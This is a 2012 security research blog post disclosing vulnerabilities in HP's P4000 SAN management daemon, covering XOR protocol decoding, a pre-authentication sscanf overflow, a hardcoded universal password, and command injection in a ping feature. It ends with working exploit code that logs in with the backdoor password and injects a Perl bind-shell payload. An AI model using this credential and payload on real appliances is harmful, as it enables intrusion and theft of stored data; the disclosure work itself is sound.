February 2012 Archives
vendredi 17 février 2012, 16:34:01 (UTC+0100)
Compromising HP SAN appliances
In November 2011, HP published an advisory regarding their "HP StorageWorks P4000 Virtual SAN Appliance". However, these vulnerabilities are located in the "Centralized Management Console" (CMC) daemon which is used in the full "P4000 G2 SAN" range of products (including the P4300, P4500 and P4800 physical SAN devices). This post describes the process followed to identify these vulnerabilities.
First, what is this product ? HP VSA is a virtualized SAN infrastructure for VMware ESX or Microsoft Hyper-V environments. VSA consolidates server disk drives and external storage into a single virtual iSCSI SAN. This means that if you compromise the appliance, you also compromise any data stored in the SAN ! Next, where can we find the target software ? HP proposes a full trial version here. My tests were done on version 696_10503. The version now available is 696_10537 (probably safe but untested).
We now have a working VM with the HP VSA demo. The first step is to create some administration traffic (on port TCP/1383) using the Windows client, sniff it and try to reverse the protocol in order to later fuzz it. The first packets of the exchange are the following :
00000000 00 00 00 01 00 00 00 01 00 00 00 13 00 00 00 13 ........ ........ 00000010 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........ 00000020 52 65 71 75 65 73 74 20 74 72 61 6e 73 66 6f 72 Request transfor 00000030 6d 73 00 ms. 00000000 00 00 00 01 00 00 00 01 00 00 00 19 00 00 00 13 ........ ........ 00000010 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........ 00000020 52 65 73 70 6f 6e 73 65 20 74 72 61 6e 73 66 6f Response transfo 00000030 72 6d 73 3a 20 58 4f 52 00 rms: XOR . 00000033 00 00 00 01 00 00 00 01 00 00 00 13 00 00 00 13 ........ ........ 00000043 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........ 00000053 4e 65 77 20 74 72 61 6e 73 66 6f 72 6d 3a 20 58 New tran sform: X 00000063 4f 52 00 OR. 00000039 00 00 00 01 00 00 00 01 00 00 00 15 00 00 00 13 ........ ........ 00000049 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 ........ ........ 00000059 4e 65 77 20 74 72 61 6e 73 66 6f 72 6d 20 4f 4b New tran sform OK 00000069 20 58 4f 52 00 XOR.
Based on this small exchange, we can detect a classic structure with a header followed by an ASCIIZ string.
We can suppose that the structure of the header is the following :
- the first 8 bytes are static : "00 00 00 01 00 00 00 01" (offset 0x00)
- the next 4 bytes represent the size of the ASCIIZ string (offset 0x08)
- the next 4 bytes are static : "00 00 00 13" (offset 0x0c)
- the next 16 bytes are static : "00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00" (offset 0x10)
From this point, the traffic is XOR-encoded :
00000066 00 00 00 01 00 00 00 01 00 00 00 35 00 00 00 35 ........ ...5...5 00000076 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 00 ........ ........ 00000086 3e 3d 35 3b 3c 68 7d 33 36 3f 3b 3c 7d 30 30 30 >=5;<h}36 ?;<}000 00000096 30 30 30 30 30 7d 04 37 20 21 3b 3d 3c 72 70 6a 00000}.7 !;=<rpj 000000A6 7c 67 7c 62 62 70 7e 72 10 27 3b 3e 36 72 70 62 |g|bbp~r. ';>6rpb 000000B6 61 63 61 70 00 acap. 0000006E 00 00 00 00 00 00 00 01 00 00 00 0a 00 00 00 00 ........ ........ 0000007E 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ........ ........ 0000008E 1d 19 68 72 1e 3d 35 3b 3c 00 ..hr.=5; <.
Note : attentive readers have probably noticed that the format of the headers is now slighlty different, in both request and response. In fact, HP VSA isn't picky at all about the format of the header, as far as the size of the content is exact.
In order to go further, we need the XOR key. Given that the first XOR-encoded packet is the login request, we sent a request with a password string of "bbbbbbbb" and looked for a repetitive pattern (see above, from offset 0x66 to 0xBA). Do you see it ?
..............
OK, we have a string of 8 x "0" (ASCII 0x30) which may match the 8 x "b" (ASCII 0x62) if the key is 1 byte long. Quick calculation : 0x30 ^ 0x62 = 0x52. Let's try to verify it by trying to decode tshark (command-line version of Wireshark) output by piping it to a minimalist Python shell like this one :
import sys for line in sys.stdin: print '++ ', print ''.join( [ chr(ord(c) ^ 0x52) for c in line ] )
And it works ! ;-) We now know that our login request has the following format : "login:/MY_USER/MY_PASSSWD/Version "8.5.0"" and we can code a basic client fuzzer. After a few runs, the target process crashes while parsing overlong passwords. Debugging will reveal that sscanf() is used with fixed-length stack buffers and no length checks. The sscanf() pattern is "/%[^/]/%[^/]/%s %s" with arguments 1, 2 and 3 of size 1024. Argument 4 is smaller (<= 0x50 bytes).
A pre-authentication stack-based overflow is already a cool finding, but the disassembly will reveal something much more easy to exploit : hardcoded credentials !
This is the vulnerable call to sscanf():
The format parameter is stored in the .rodata section, and a very weird string ("L0CAlu53R") is located next to it and used in the same function:
This string is a magic password, working for every account !
Let's recap : we can exploit a pre-auth buffer-overflow and gain OS-level privileges or use the hard-coded password to gain application-level privileges. The easiest way (aka "attacker's path of least resistance") to have both would be to switch from application-level privileges (no memory corruption, 100% reliable) to OS-level privileges with another vulnerability involving manipulation of the file-system or commands execution.
So we browsed every part of the Windows client in order to explore every available feature. And we found a "Check connectivity" feature using "ping" without sanitizing the parameters.
The command has the following format :
get:/lhn/public/network/ping/<field1>/<field2>/ <field1> : IP address of the interface from which ICMP packets are send <field2> : target IP address or hostname
Given that Perl is installed on the appliance, we use the classic Metasploit payload to bind a shell on port TCP/12345 :
def send_Login(): # BACKDOOR data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' send_packet(data) def send_Exec(): # METASPLOIT PAYLOAD cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept; \ $~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" # COMMAND INJECTION BUG data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/' # EXPLOIT zprint('Now connect to port 12345 of machine ' + str(HOST)) send_packet(data)
Et voilà, mission accomplished ! We fully compromised the SAN appliance, allowing unauthorized acces to every data stored inside. Plausible next moves : reconfigure some interesting LUN, mount them and steal data (NTLM hashes, configuration files, raw database files, ...). A PoC code is available : hydragen.py.